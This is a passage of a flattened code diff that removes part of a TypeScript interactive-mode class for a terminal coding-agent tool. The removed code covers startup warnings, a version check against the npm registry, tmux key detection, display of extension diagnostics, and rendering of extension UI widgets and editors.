this.ui.invalidate(); - this.updateEditorBorderColor(); - this.ui.requestRender(); - }); - - // Set up git branch watcher (uses provider instead of footer) - this._branchChangeUnsub = this.footerDataProvider.onBranchChange(() => { - this.ui.requestRender(); - }); - this.startAutoReloadWatcher(); - - // Initialize available provider count for footer display - await this.updateAvailableProviderCount(); - } - - /** - * Update terminal title with session name and cwd. - */ - private updateTerminalTitle(): void { - const cwdBasename = path.basename(process.cwd()); - const sessionName = this.sessionManager.getSessionName(); - if (sessionName) { - this.ui.terminal.setTitle(`π - ${sessionName} - ${cwdBasename}`); - } else { - this.ui.terminal.setTitle(`π - ${cwdBasename}`); - } - } - - /** - * Run the interactive mode. This is the main entry point. - * Initializes the UI, shows warnings, processes initial messages, and starts the interactive loop. - */ - async run(): Promise { - await this.init(); - - // Start version check asynchronously - this.checkForNewVersion().then((newVersion) => { - if (newVersion) { - this.showNewVersionNotification(newVersion); - } - }); - - // Check tmux keyboard setup asynchronously - this.checkTmuxKeyboardSetup().then((warning) => { - if (warning) { - this.showWarning(warning); - } - }); - - // Show startup warnings - const { - migratedProviders, - modelFallbackMessage, - initialMessage, - initialImages, - initialMessages, - } = this.options; - - if (migratedProviders && migratedProviders.length > 0) { - this.showWarning( - `Migrated credentials to auth.json: ${migratedProviders.join(", ")}`, - ); - } - - const modelsJsonError = this.session.modelRegistry.getError(); - if (modelsJsonError) { - this.showError(`models.json error: ${modelsJsonError}`); - } - - if (modelFallbackMessage) { - this.showWarning(modelFallbackMessage); - } - - // Process initial messages - if (initialMessage) { - try { - await this.session.prompt(initialMessage, { images: initialImages }); - } catch (error: unknown) { - const errorMessage = - error instanceof Error ? error.message : "Unknown error occurred"; - this.showError(errorMessage); - } - } - - if (initialMessages) { - for (const message of initialMessages) { - try { - await this.session.prompt(message); - } catch (error: unknown) { - const errorMessage = - error instanceof Error ? error.message : "Unknown error occurred"; - this.showError(errorMessage); - } - } - } - - // Main interactive loop - while (true) { - const userInput = await this.getUserInput(); - try { - await this.session.prompt(userInput); - } catch (error: unknown) { - const errorMessage = - error instanceof Error ? error.message : "Unknown error occurred"; - this.showError(errorMessage); - } - } - } - - /** - * Check npm registry for a newer version. - */ - private async checkForNewVersion(): Promise { - if (process.env.PI_SKIP_VERSION_CHECK || process.env.PI_OFFLINE) - return undefined; - - try { - const response = await fetch( - "https://registry.npmjs.org/@singularity-forge/pi-coding-agent/latest", - { - signal: AbortSignal.timeout(10000), - }, - ); - if (!response.ok) return undefined; - - const data = (await response.json()) as { version?: string }; - const latestVersion = data.version; - - if (latestVersion && latestVersion !== this.version) { - return latestVersion; - } - - return undefined; - } catch { - return undefined; - } - } - - private async checkTmuxKeyboardSetup(): Promise { - if (!process.env.TMUX) return undefined; - - const runTmuxShow = (option: string): Promise => { - return new Promise((resolve) => { - const proc = spawn("tmux", ["show", "-gv", option], { - stdio: ["ignore", "pipe", "ignore"], - }); - let stdout = ""; - const timer = setTimeout(() => { - proc.kill(); - resolve(undefined); - }, 2000); - - proc.stdout?.on("data", (data) => { - stdout += data.toString(); - }); - proc.on("error", () => { - clearTimeout(timer); - resolve(undefined); - }); - proc.on("close", (code) => { - clearTimeout(timer); - resolve(code === 0 ? stdout.trim() : undefined); - }); - }); - }; - - const [extendedKeys, extendedKeysFormat] = await Promise.all([ - runTmuxShow("extended-keys"), - runTmuxShow("extended-keys-format"), - ]); - - if (extendedKeys !== "on" && extendedKeys !== "always") { - return "tmux extended-keys is off. Modified Enter keys may not work. Add `set -g extended-keys on` to ~/.tmux.conf and restart tmux."; - } - - if (extendedKeysFormat === "xterm") { - return "tmux extended-keys-format is xterm. Pi works best with csi-u. Add `set -g extended-keys-format csi-u` to ~/.tmux.conf and restart tmux."; - } - - return undefined; - } - - /** - * Get changelog entries to display on startup. - * Only shows new entries since last seen version, skips for resumed sessions. - */ - private getChangelogForDisplay(): string | undefined { - // Skip changelog for resumed/continued sessions (already have messages) - if (this.session.state.messages.length > 0) { - return undefined; - } - - const lastVersion = this.settingsManager.getLastChangelogVersion(); - const changelogPath = getChangelogPath(); - const entries = parseChangelog(changelogPath); - - if (!lastVersion) { - // Fresh install - just record the version, don't show changelog - this.settingsManager.setLastChangelogVersion(VERSION); - return undefined; - } else { - const newEntries = getNewEntries(entries, lastVersion); - if (newEntries.length > 0) { - this.settingsManager.setLastChangelogVersion(VERSION); - return newEntries.map((e) => e.content).join("\n\n"); - } - } - - return undefined; - } - - private getMarkdownThemeWithSettings(): MarkdownTheme { - return { - ...getMarkdownTheme(), - codeBlockIndent: this.settingsManager.getCodeBlockIndent(), - }; - } - - // ========================================================================= - // Extension System - // ========================================================================= - - private formatDisplayPath(p: string): string { - const home = os.homedir(); - let result = p; - - // Replace home directory with ~ - if (result.startsWith(home)) { - result = `~${result.slice(home.length)}`; - } - - return result; - } - - /** - * Get a short path relative to the package root for display. - */ - private getShortPath(fullPath: string, source: string): string { - // For npm packages, show path relative to node_modules/pkg/ - const npmMatch = fullPath.match( - /node_modules\/(@?[^/]+(?:\/[^/]+)?)\/(.*)/, - ); - if (npmMatch && source.startsWith("npm:")) { - return npmMatch[2]; - } - - // For git packages, show path relative to repo root - const gitMatch = fullPath.match(/git\/[^/]+\/[^/]+\/(.*)/); - if (gitMatch && source.startsWith("git:")) { - return gitMatch[1]; - } - - // For local/auto, just use formatDisplayPath - return this.formatDisplayPath(fullPath); - } - - private getDisplaySourceInfo( - source: string, - scope: string, - ): { label: string; scopeLabel?: string; color: "accent" | "muted" } { - if (source === "local") { - if (scope === "user") { - return { label: "user", color: "muted" }; - } - if (scope === "project") { - return { label: "project", color: "muted" }; - } - if (scope === "temporary") { - return { label: "path", scopeLabel: "temp", color: "muted" }; - } - return { label: "path", color: "muted" }; - } - - if (source === "cli") { - return { - label: "path", - scopeLabel: scope === "temporary" ? "temp" : undefined, - color: "muted", - }; - } - - const scopeLabel = - scope === "user" - ? "user" - : scope === "project" - ? "project" - : scope === "temporary" - ? "temp" - : undefined; - return { label: source, scopeLabel, color: "accent" }; - } - - private getScopeGroup( - source: string, - scope: string, - ): "user" | "project" | "path" { - if (source === "cli" || scope === "temporary") return "path"; - if (scope === "user") return "user"; - if (scope === "project") return "project"; - return "path"; - } - - private isPackageSource(source: string): boolean { - return source.startsWith("npm:") || source.startsWith("git:"); - } - - private buildScopeGroups( - paths: string[], - metadata: Map, - ): Array<{ - scope: "user" | "project" | "path"; - paths: string[]; - packages: Map; - }> { - const groups: Record< - "user" | "project" | "path", - { - scope: "user" | "project" | "path"; - paths: string[]; - packages: Map; - } - > = { - user: { scope: "user", paths: [], packages: new Map() }, - project: { scope: "project", paths: [], packages: new Map() }, - path: { scope: "path", paths: [], packages: new Map() }, - }; - - for (const p of paths) { - const meta = this.findMetadata(p, metadata); - const source = meta?.source ?? "local"; - const scope = meta?.scope ?? "project"; - const groupKey = this.getScopeGroup(source, scope); - const group = groups[groupKey]; - - if (this.isPackageSource(source)) { - const list = group.packages.get(source) ?? []; - list.push(p); - group.packages.set(source, list); - } else { - group.paths.push(p); - } - } - - return [groups.project, groups.user, groups.path].filter( - (group) => group.paths.length > 0 || group.packages.size > 0, - ); - } - - private formatScopeGroups( - groups: Array<{ - scope: "user" | "project" | "path"; - paths: string[]; - packages: Map; - }>, - options: { - formatPath: (p: string) => string; - formatPackagePath: (p: string, source: string) => string; - }, - ): string { - const lines: string[] = []; - - for (const group of groups) { - lines.push(` ${theme.fg("accent", group.scope)}`); - - const sortedPaths = [...group.paths].sort((a, b) => a.localeCompare(b)); - for (const p of sortedPaths) { - lines.push(theme.fg("dim", ` ${options.formatPath(p)}`)); - } - - const sortedPackages = Array.from(group.packages.entries()).sort( - ([a], [b]) => a.localeCompare(b), - ); - for (const [source, paths] of sortedPackages) { - lines.push(` ${theme.fg("mdLink", source)}`); - const sortedPackagePaths = [...paths].sort((a, b) => - a.localeCompare(b), - ); - for (const p of sortedPackagePaths) { - lines.push( - theme.fg("dim", ` ${options.formatPackagePath(p, source)}`), - ); - } - } - } - - return lines.join("\n"); - } - - /** - * Find metadata for a path, checking parent directories if exact match fails. - * Package manager stores metadata for directories, but we display file paths. - */ - private findMetadata( - p: string, - metadata: Map, - ): { source: string; scope: string; origin: string } | undefined { - // Try exact match first - const exact = metadata.get(p); - if (exact) return exact; - - // Try parent directories (package manager stores directory paths) - let current = p; - let parent = path.dirname(current); - while (parent !== current) { - const meta = metadata.get(parent); - if (meta) return meta; - current = parent; - parent = path.dirname(current); - } - - return undefined; - } - - /** - * Format a path with its source/scope info from metadata. - */ - private formatPathWithSource( - p: string, - metadata: Map, - ): string { - const meta = this.findMetadata(p, metadata); - if (meta) { - const shortPath = this.getShortPath(p, meta.source); - const { label, scopeLabel } = this.getDisplaySourceInfo( - meta.source, - meta.scope, - ); - const labelText = scopeLabel ? `${label} (${scopeLabel})` : label; - return `${labelText} ${shortPath}`; - } - return this.formatDisplayPath(p); - } - - /** - * Format resource diagnostics with nice collision display using metadata. - */ - private formatDiagnostics( - diagnostics: readonly ResourceDiagnostic[], - metadata: Map, - ): string { - const lines: string[] = []; - - // Group collision diagnostics by name - const collisions = new Map(); - const otherDiagnostics: ResourceDiagnostic[] = []; - - for (const d of diagnostics) { - if (d.type === "collision" && d.collision) { - const list = collisions.get(d.collision.name) ?? []; - list.push(d); - collisions.set(d.collision.name, list); - } else { - otherDiagnostics.push(d); - } - } - - // Format collision diagnostics grouped by name - for (const [name, collisionList] of collisions) { - const first = collisionList[0]?.collision; - if (!first) continue; - lines.push(theme.fg("warning", ` "${name}" collision:`)); - // Show winner - lines.push( - theme.fg( - "dim", - ` ${theme.fg("success", "✓")} ${this.formatPathWithSource(first.winnerPath, metadata)}`, - ), - ); - // Show all losers - for (const d of collisionList) { - if (d.collision) { - lines.push( - theme.fg( - "dim", - ` ${theme.fg("warning", "✗")} ${this.formatPathWithSource(d.collision.loserPath, metadata)} (skipped)`, - ), - ); - } - } - } - - // Format other diagnostics (skill name collisions, parse errors, etc.) - for (const d of otherDiagnostics) { - if (d.path) { - // Use metadata-aware formatting for paths - const sourceInfo = this.formatPathWithSource(d.path, metadata); - lines.push( - theme.fg(d.type === "error" ? "error" : "warning", ` ${sourceInfo}`), - ); - lines.push( - theme.fg( - d.type === "error" ? "error" : "warning", - ` ${d.message}`, - ), - ); - } else { - lines.push( - theme.fg(d.type === "error" ? "error" : "warning", ` ${d.message}`), - ); - } - } - - return lines.join("\n"); - } - - private showLoadedResources(options?: { - extensionPaths?: string[]; - force?: boolean; - showDiagnosticsWhenQuiet?: boolean; - }): void { - const showListing = - options?.force || - this.options.verbose || - !this.settingsManager.getQuietStartup(); - const showDiagnostics = - showListing || options?.showDiagnosticsWhenQuiet === true; - if (!showListing && !showDiagnostics) { - return; - } - - const metadata = this.session.resourceLoader.getPathMetadata(); - const sectionHeader = (name: string, color: ThemeColor = "mdHeading") => - theme.fg(color, `[${name}]`); - - const skillsResult = this.session.resourceLoader.getSkills(); - const promptsResult = this.session.resourceLoader.getPrompts(); - const themesResult = this.session.resourceLoader.getThemes(); - - if (showListing) { - const contextFiles = - this.session.resourceLoader.getAgentsFiles().agentsFiles; - if (contextFiles.length > 0) { - this.chatContainer.addChild(new Spacer(1)); - const contextList = contextFiles - .map((f) => theme.fg("dim", ` ${this.formatDisplayPath(f.path)}`)) - .join("\n"); - this.chatContainer.addChild( - new Text(`${sectionHeader("Context")}\n${contextList}`, 0, 0), - ); - this.chatContainer.addChild(new Spacer(1)); - } - - const skills = skillsResult.skills; - if (skills.length > 0) { - const skillPaths = skills.map((s) => s.filePath); - const groups = this.buildScopeGroups(skillPaths, metadata); - const skillList = this.formatScopeGroups(groups, { - formatPath: (p) => this.formatDisplayPath(p), - formatPackagePath: (p, source) => this.getShortPath(p, source), - }); - this.chatContainer.addChild( - new Text(`${sectionHeader("Skills")}\n${skillList}`, 0, 0), - ); - this.chatContainer.addChild(new Spacer(1)); - } - - const templates = this.session.promptTemplates; - if (templates.length > 0) { - const templatePaths = templates.map((t) => t.filePath); - const groups = this.buildScopeGroups(templatePaths, metadata); - const templateByPath = new Map(templates.map((t) => [t.filePath, t])); - const templateList = this.formatScopeGroups(groups, { - formatPath: (p) => { - const template = templateByPath.get(p); - return template ? `/${template.name}` : this.formatDisplayPath(p); - }, - formatPackagePath: (p) => { - const template = templateByPath.get(p); - return template ? `/${template.name}` : this.formatDisplayPath(p); - }, - }); - this.chatContainer.addChild( - new Text(`${sectionHeader("Prompts")}\n${templateList}`, 0, 0), - ); - this.chatContainer.addChild(new Spacer(1)); - } - - const extensionPaths = options?.extensionPaths ?? []; - if (extensionPaths.length > 0) { - const groups = this.buildScopeGroups(extensionPaths, metadata); - const extList = this.formatScopeGroups(groups, { - formatPath: (p) => this.formatDisplayPath(p), - formatPackagePath: (p, source) => this.getShortPath(p, source), - }); - this.chatContainer.addChild( - new Text( - `${sectionHeader("Extensions", "mdHeading")}\n${extList}`, - 0, - 0, - ), - ); - this.chatContainer.addChild(new Spacer(1)); - } - - // Show loaded themes (excluding built-in) - const loadedThemes = themesResult.themes; - const customThemes = loadedThemes.filter((t) => t.sourcePath); - if (customThemes.length > 0) { - const themePaths = customThemes.map((t) => t.sourcePath!); - const groups = this.buildScopeGroups(themePaths, metadata); - const themeList = this.formatScopeGroups(groups, { - formatPath: (p) => this.formatDisplayPath(p), - formatPackagePath: (p, source) => this.getShortPath(p, source), - }); - this.chatContainer.addChild( - new Text(`${sectionHeader("Themes")}\n${themeList}`, 0, 0), - ); - this.chatContainer.addChild(new Spacer(1)); - } - } - - if (showDiagnostics) { - const skillDiagnostics = skillsResult.diagnostics; - if (skillDiagnostics.length > 0) { - const collisionDiags = skillDiagnostics.filter( - (d) => d.type === "collision", - ); - const issueDiags = skillDiagnostics.filter( - (d) => d.type !== "collision", - ); - - if (collisionDiags.length > 0) { - const collisionLines = this.formatDiagnostics( - collisionDiags, - metadata, - ); - this.chatContainer.addChild( - new Text( - `${theme.fg("warning", "[Skill conflicts]")}\n${collisionLines}`, - 0, - 0, - ), - ); - this.chatContainer.addChild(new Spacer(1)); - } - - if (issueDiags.length > 0) { - const issueLines = this.formatDiagnostics(issueDiags, metadata); - this.chatContainer.addChild( - new Text( - `${theme.fg("warning", "[Skill issues]")}\n${issueLines}`, - 0, - 0, - ), - ); - this.chatContainer.addChild(new Spacer(1)); - } - } - - const promptDiagnostics = promptsResult.diagnostics; - if (promptDiagnostics.length > 0) { - const warningLines = this.formatDiagnostics( - promptDiagnostics, - metadata, - ); - this.chatContainer.addChild( - new Text( - `${theme.fg("warning", "[Prompt conflicts]")}\n${warningLines}`, - 0, - 0, - ), - ); - this.chatContainer.addChild(new Spacer(1)); - } - - const extensionDiagnostics: ResourceDiagnostic[] = []; - const extensionErrors = - this.session.resourceLoader.getExtensions().errors; - if (extensionErrors.length > 0) { - for (const error of extensionErrors) { - extensionDiagnostics.push({ - type: "error", - message: error.error, - path: error.path, - }); - } - } - - const commandDiagnostics = - this.session.extensionRunner?.getCommandDiagnostics() ?? []; - extensionDiagnostics.push(...commandDiagnostics); - - const shortcutDiagnostics = - this.session.extensionRunner?.getShortcutDiagnostics() ?? []; - extensionDiagnostics.push(...shortcutDiagnostics); - - if (extensionDiagnostics.length > 0) { - const warningLines = this.formatDiagnostics( - extensionDiagnostics, - metadata, - ); - this.chatContainer.addChild( - new Text( - `${theme.fg("warning", "[Extension issues]")}\n${warningLines}`, - 0, - 0, - ), - ); - this.chatContainer.addChild(new Spacer(1)); - } - - const themeDiagnostics = themesResult.diagnostics; - if (themeDiagnostics.length > 0) { - const warningLines = this.formatDiagnostics(themeDiagnostics, metadata); - this.chatContainer.addChild( - new Text( - `${theme.fg("warning", "[Theme conflicts]")}\n${warningLines}`, - 0, - 0, - ), - ); - this.chatContainer.addChild(new Spacer(1)); - } - } - } - - /** - * Initialize the extension system with TUI-based UI context. - */ - private async initExtensions(): Promise { - if (this.options.bindExtensions !== false) { - const uiContext = this.createExtensionUIContext(); - await this.session.bindExtensions({ - uiContext, - commandContextActions: { - waitForIdle: () => this.session.agent.waitForIdle(), - newSession: async (options) => { - if (this.loadingAnimation) { - this.loadingAnimation.stop(); - this.loadingAnimation = undefined; - } - this.statusContainer.clear(); - - // Delegate to AgentSession (handles setup + agent state sync) - const success = await this.session.newSession(options); - if (!success) { - return { cancelled: true }; - } - - // Clear UI state - this.chatContainer.clear(); - this.pendingMessagesContainer.clear(); - this.compactionQueuedMessages = []; - this.streamingComponent = undefined; - this.streamingMessage = undefined; - this.pendingTools.clear(); - - // Render any messages added via setup, or show empty session - this.renderInitialMessages(); - this.ui.requestRender(); - - return { cancelled: false }; - }, - fork: async (entryId) => { - const result = await this.session.fork(entryId); - if (result.cancelled) { - return { cancelled: true }; - } - - this.chatContainer.clear(); - this.renderInitialMessages(); - this.editor.setText(result.selectedText); - this.showStatus("Forked to new session"); - - return { cancelled: false }; - }, - navigateTree: async (targetId, options) => { - const result = await this.session.navigateTree(targetId, { - summarize: options?.summarize, - customInstructions: options?.customInstructions, - replaceInstructions: options?.replaceInstructions, - label: options?.label, - }); - if (result.cancelled) { - return { cancelled: true }; - } - - this.chatContainer.clear(); - this.renderInitialMessages(); - if (result.editorText && !this.editor.getText().trim()) { - this.editor.setText(result.editorText); - } - this.showStatus("Navigated to selected point"); - - return { cancelled: false }; - }, - switchSession: async (sessionPath) => { - await this.handleResumeSession(sessionPath); - return { cancelled: false }; - }, - reload: async () => { - await this.handleReloadCommand(); - }, - }, - shutdownHandler: () => { - if (!this.session.isStreaming) { - void this.shutdown(); - } - }, - onError: (error) => { - this.showExtensionError( - error.extensionPath, - error.error, - error.stack, - ); - }, - }); - } - - setRegisteredThemes(this.session.resourceLoader.getThemes().themes); - this.setupAutocomplete(); - - const extensionRunner = this.session.extensionRunner; - if (!extensionRunner) { - this.showLoadedResources({ extensionPaths: [], force: false }); - return; - } - - this.setupExtensionShortcuts(extensionRunner); - this.showLoadedResources({ - extensionPaths: extensionRunner.getExtensionPaths(), - force: false, - }); - } - - /** - * Get a tool definition by name (for custom rendering). - */ - private getRegisteredToolDefinition(toolName: string) { - return this.session.getRenderableToolDefinition(toolName); - } - - /** - * Format web search result content for display in the TUI. - */ - private formatWebSearchResult(content: unknown): string { - if (!content) return "Web search completed"; - - // Error result - if ( - typeof content === "object" && - "type" in (content as any) && - (content as any).type === "web_search_tool_result_error" - ) { - const error = content as any; - return `Search error: ${error.error_code || "unknown"}`; - } - - // Array of search results - if (Array.isArray(content)) { - const results = content.filter( - (r: any) => r.type === "web_search_result", - ); - if (results.length === 0) return "No results found"; - return results - .map((r: any) => { - const title = r.title || "Untitled"; - const url = r.url || ""; - return `${title}\n ${url}`; - }) - .join("\n"); - } - - return "Web search completed"; - } - - /** - * Set up keyboard shortcuts registered by extensions. - */ - private setupExtensionShortcuts(extensionRunner: ExtensionRunner): void { - const shortcuts = extensionRunner.getShortcuts( - this.keybindings.getEffectiveConfig(), - ); - if (shortcuts.size === 0) return; - - // Create a context for shortcut handlers - const createContext = (): ExtensionContext => ({ - ui: this.createExtensionUIContext(), - hasUI: true, - cwd: process.cwd(), - sessionManager: this.sessionManager, - modelRegistry: this.session.modelRegistry, - model: this.session.model, - isIdle: () => !this.session.isStreaming, - abort: () => this.session.abort(), - hasPendingMessages: () => this.session.pendingMessageCount > 0, - shutdown: () => { - if (!this.session.isStreaming) { - void this.shutdown(); - } - }, - getContextUsage: () => this.session.getContextUsage(), - compact: (options) => { - void (async () => { - try { - const result = await this.executeCompaction( - options?.customInstructions, - false, - ); - if (result) { - options?.onComplete?.(result); - } - } catch (error) { - const err = - error instanceof Error ? error : new Error(String(error)); - options?.onError?.(err); - } - })(); - }, - getSystemPrompt: () => this.session.systemPrompt, - requestReload: () => { - setTimeout(() => { - void this.handleReloadCommand(); - }, 0); - }, - }); - - // Set up the extension shortcut handler on the default editor - this.defaultEditor.onExtensionShortcut = (data: string) => { - for (const [shortcutStr, shortcut] of shortcuts) { - // Cast to KeyId - extension shortcuts use the same format - if (matchesKey(data, shortcutStr as KeyId)) { - // Run handler async, don't block input - Promise.resolve(shortcut.handler(createContext())).catch((err) => { - this.showError( - `Shortcut handler error: ${err instanceof Error ? err.message : String(err)}`, - ); - }); - return true; - } - } - return false; - }; - } - - /** - * Set extension status text in the footer. - */ - private setExtensionStatus(key: string, text: string | undefined): void { - this.footerDataProvider.setExtensionStatus(key, text); - this.ui.requestRender(); - } - - /** - * Render or clear an extension-owned widget. - * - * Purpose: let extensions expose compact live UI near the editor without - * depending on private TUI container internals. - * - * Consumer: extension-ui-controller.ts for ctx.ui.setWidget(). - */ - setExtensionWidget( - key: string, - content: - | string[] - | ((tui: TUI, theme: Theme) => Component & { dispose?(): void }) - | undefined, - options?: ExtensionWidgetOptions, - ): void { - const target = - options?.placement === "belowEditor" - ? this.extensionWidgetsBelow - : this.extensionWidgetsAbove; - const other = - target === this.extensionWidgetsBelow - ? this.extensionWidgetsAbove - : this.extensionWidgetsBelow; - target.get(key)?.dispose?.(); - other.get(key)?.dispose?.(); - target.delete(key); - other.delete(key); - - if (content !== undefined) { - const widget = - typeof content === "function" - ? content(this.ui, theme) - : { - render: () => content, - invalidate: () => {}, - }; - target.set(key, widget); - } - - this.renderWidgets(); - } - - private clearExtensionWidgets(): void { - for (const widget of this.extensionWidgetsAbove.values()) { - widget.dispose?.(); - } - for (const widget of this.extensionWidgetsBelow.values()) { - widget.dispose?.(); - } - this.extensionWidgetsAbove.clear(); - this.extensionWidgetsBelow.clear(); - this.renderWidgets(); - } - - private resetExtensionUI(): void { - if (this.extensionSelector) { - this.hideExtensionSelector(); - } - if (this.extensionInput) { - this.hideExtensionInput(); - } - if (this.extensionEditor) { - this.hideExtensionEditor(); - } - this.ui.hideOverlay(); - this.clearExtensionTerminalInputListeners(); - this.setExtensionFooter(undefined); - this.setExtensionHeader(undefined); - this.clearExtensionWidgets(); - this.footerDataProvider.clearExtensionStatuses(); - this.footer.invalidate(); - this.setCustomEditorComponent(undefined); - this.defaultEditor.onExtensionShortcut = undefined; - this.updateTerminalTitle(); - if (this.loadingAnimation) { - this.loadingAnimation.setMessage( - `${this.defaultWorkingMessage} (${appKey(this.keybindings, "interrupt")} to interrupt)`, - ); - } - } - - /** - * Render all extension widgets to the widget container. - */ - private renderWidgets(): void { - if (!this.widgetContainerAbove || !this.widgetContainerBelow) return; - - // widgetContainerAbove: spacer collapses when pinned content is visible - // so there's no extra blank line between pinned output and the editor border. - // Use detachChildren() (not clear()) — the extensionWidgetsAbove map owns - // disposal; clear() would dispose every mounted widget on every re-render. - this.widgetContainerAbove.detachChildren(); - const pinned = this.pinnedMessageContainer; - this.widgetContainerAbove.addChild({ - render: () => (pinned.children.length > 0 ? [] : [""]), - invalidate: () => {}, - }); - for (const component of this.extensionWidgetsAbove.values()) { - this.widgetContainerAbove.addChild(component); - } - - this.renderWidgetContainer( - this.widgetContainerBelow, - this.extensionWidgetsBelow, - false, - false, - ); - this.ui.requestRender(); - } - - private renderWidgetContainer( - container: Container, - widgets: Map, - spacerWhenEmpty: boolean, - leadingSpacer: boolean, - ): void { - // Detach without disposing — the widgets map owns lifecycle; disposing - // here would kill refresh timers and subscriptions on every re-render. - container.detachChildren(); - - if (widgets.size === 0) { - if (spacerWhenEmpty) { - container.addChild(new Spacer(1)); - } - return; - } - - if (leadingSpacer) { - container.addChild(new Spacer(1)); - } - for (const component of widgets.values()) { - container.addChild(component); - } - } - - /** - * Set a custom footer component, or restore the built-in footer. - */ - private setExtensionFooter( - factory: - | (( - tui: TUI, - thm: Theme, - footerData: ReadonlyFooterDataProvider, - ) => Component & { dispose?(): void }) - | undefined, - ): void { - // Dispose existing custom footer - if (this.customFooter?.dispose) { - this.customFooter.dispose(); - } - - // Remove current footer from UI - if (this.customFooter) { - this.ui.removeChild(this.customFooter); - } else { - this.ui.removeChild(this.footer); - } - - if (factory) { - // Create and add custom footer, passing the data provider - this.customFooter = factory(this.ui, theme, this.footerDataProvider); - this.ui.addChild(this.customFooter); - } else { - // Restore built-in footer - this.customFooter = undefined; - this.ui.addChild(this.footer); - } - - this.ui.requestRender(); - } - - /** - * Set a custom header component, or restore the built-in header. - */ - private setExtensionHeader( - factory: - | ((tui: TUI, thm: Theme) => Component & { dispose?(): void }) - | undefined, - ): void { - // Header may not be initialized yet if called during early initialization - if (!this.builtInHeader) { - return; - } - - // Dispose existing custom header - if (this.customHeader?.dispose) { - this.customHeader.dispose(); - } - - // Find the index of the current header in the header container - const currentHeader = this.customHeader || this.builtInHeader; - const index = this.headerContainer.children.indexOf(currentHeader); - - if (factory) { - // Create and add custom header - this.customHeader = factory(this.ui, theme); - if (index !== -1) { - this.headerContainer.children[index] = this.customHeader; - } else { - // If not found (e.g. builtInHeader was never added), add at the top - this.headerContainer.children.unshift(this.customHeader); - } - } else { - // Restore built-in header - this.customHeader = undefined; - if (index !== -1) { - this.headerContainer.children[index] = this.builtInHeader; - } - } - - this.ui.requestRender(); - } - - private clearExtensionTerminalInputListeners(): void { - for (const unsubscribe of this.extensionTerminalInputUnsubscribers) { - unsubscribe(); - } - this.extensionTerminalInputUnsubscribers.clear(); - } - - /** - * Create the ExtensionUIContext for extensions. - */ - private createExtensionUIContext(): ExtensionUIContext { - return buildExtensionUIContext(this); - } - - getExtensionUIContext(): ExtensionUIContext { - return this.createExtensionUIContext(); - } - - /** - * Show a selector for extensions. - */ - private showExtensionSelector( - title: string, - options: string[], - opts?: ExtensionUIDialogOptions, - ): Promise { - // If a previous selector is still active, dispose it before creating a - // new one. This avoids leaking the previous promise and DOM state when - // showExtensionSelector is called rapidly. - if (this.extensionSelector) { - this.hideExtensionSelector(); - } - - return new Promise((resolve) => { - if (opts?.signal?.aborted) { - resolve(undefined); - return; - } - - const onAbort = () => { - this.hideExtensionSelector(); - resolve(undefined); - }; - opts?.signal?.addEventListener("abort", onAbort, { once: true }); - - this.extensionSelector = new ExtensionSelectorComponent( - title, - options, - (option) => { - opts?.signal?.removeEventListener("abort", onAbort); - this.hideExtensionSelector(); - resolve(option); - }, - () => { - opts?.signal?.removeEventListener("abort", onAbort); - this.hideExtensionSelector(); - resolve(undefined); - }, - { tui: this.ui, timeout: opts?.timeout }, - ); - - this.editorContainer.clear(); - this.editorContainer.addChild(this.extensionSelector); - this.ui.setFocus(this.extensionSelector); - this.ui.requestRender(); - }); - } - - /** - * Hide the extension selector. - */ - showExtensionCustom( - factory: ( - tui: TUI, - theme: Theme, - keybindings: KeybindingsManager, - done: (result: T) => void, - ) => - | (Component & { dispose?(): void }) - | Promise, - options?: { - overlay?: boolean; - overlayOptions?: OverlayOptions | (() => OverlayOptions); - onHandle?: (handle: OverlayHandle) => void; - }, - ): Promise { - if (options?.overlay === false) { - // Non-overlay custom components are not supported (yet) - return Promise.reject( - new Error("Non-overlay custom components are not supported"), - ); - } - - return new Promise((resolve) => { - const done = (result: T) => { - // Hide the overlay before resolving the promise - this.ui.hideOverlay(); - this.ui.setFocus(this.editor); - resolve(result); - }; - - void (async () => { - try { - const component = await factory( - this.ui, - theme, - this.keybindings, - done, - ); - const overlayOptions = - typeof options?.overlayOptions === "function" - ? options.overlayOptions() - : options?.overlayOptions; - const handle = this.ui.showOverlay(component, overlayOptions); - options?.onHandle?.(handle); - } catch (error) { - this.ui.hideOverlay(); - this.ui.setFocus(this.editor); - this.showError( - `Failed to create custom UI component: ${ - error instanceof Error ? error.message : String(error) - }`, - ); - resolve(undefined as T); // Resolve with undefined on error - } - })(); - }); - } - - private hideExtensionSelector(): void { - this.extensionSelector?.dispose(); - this.editorContainer.clear(); - this.editorContainer.addChild(this.editor); - this.extensionSelector = undefined; - this.ui.setFocus(this.editor); - this.ui.requestRender(); - } - - /** - * Hide the extension input. - */ - private hideExtensionInput(): void { - this.extensionInput?.dispose(); - this.editorContainer.clear(); - this.editorContainer.addChild(this.editor); - this.extensionInput = undefined; - this.ui.setFocus(this.editor); - this.ui.requestRender(); - } - - /** - * Show a multi-line editor for extensions (with Ctrl+G support). - */ - private showExtensionEditor( - title: string, - prefill?: string, - ): Promise { - return new Promise((resolve) => { - this.extensionEditor = new ExtensionEditorComponent( - this.ui, - this.keybindings, - title, - prefill, - (value) => { - this.hideExtensionEditor(); - resolve(value); - }, - () => { - this.hideExtensionEditor(); - resolve(undefined); - }, - ); - - this.editorContainer.clear(); - this.editorContainer.addChild(this.extensionEditor); - this.ui.setFocus(this.extensionEditor); - this.ui.requestRender(); - }); - } - - /** - * Hide the extension editor. - */ - private hideExtensionEditor(): void { - this.editorContainer.clear(); - this.editorContainer.addChild(this.editor); - this.extensionEditor = undefined; - this.ui.setFocus(this.editor); - this.ui.requestRender(); - } - - /** - * Set a custom editor component from an extension. - * Pass undefined to restore the default editor. - */ - private setCustomEditorComponent( - factory: - | (( - tui: TUI, - theme: EditorTheme, - keybindings: KeybindingsManager, - ) => EditorComponent) - | undefined, - ): void { - // Save text from current editor before switching - const currentText = this.editor.getText(); - - this.editorContainer.clear(); - - if (factory) { - // Create the custom editor with tui, theme, and keybindings - const newEditor = factory(this.ui, getEditorTheme(), this.keybindings); - - // Wire up callbacks from the default editor - newEditor.onSubmit = this.defaultEditor.onSubmit; - newEditor.onChange = this.defaultEditor.onChange; - - // Copy text from previous editor - newEditor.setText(currentText); - - // Copy appearance settings if supported - if (newEditor.borderColor !== undefined) { - newEditor.borderColor = this.defaultEditor.borderColor; - } - if (newEditor.setPaddingX !== undefined) { - newEditor.setPaddingX(this.defaultEditor.getPaddingX()); - } - - // Set autocomplete if supported - if (newEditor.setAutocompleteProvider && this.autocompleteProvider) { - newEditor.setAutocompleteProvider(this.autocompleteProvider); - } - - // If extending CustomEditor, copy app-level handlers - // Use duck typing since instanceof fails 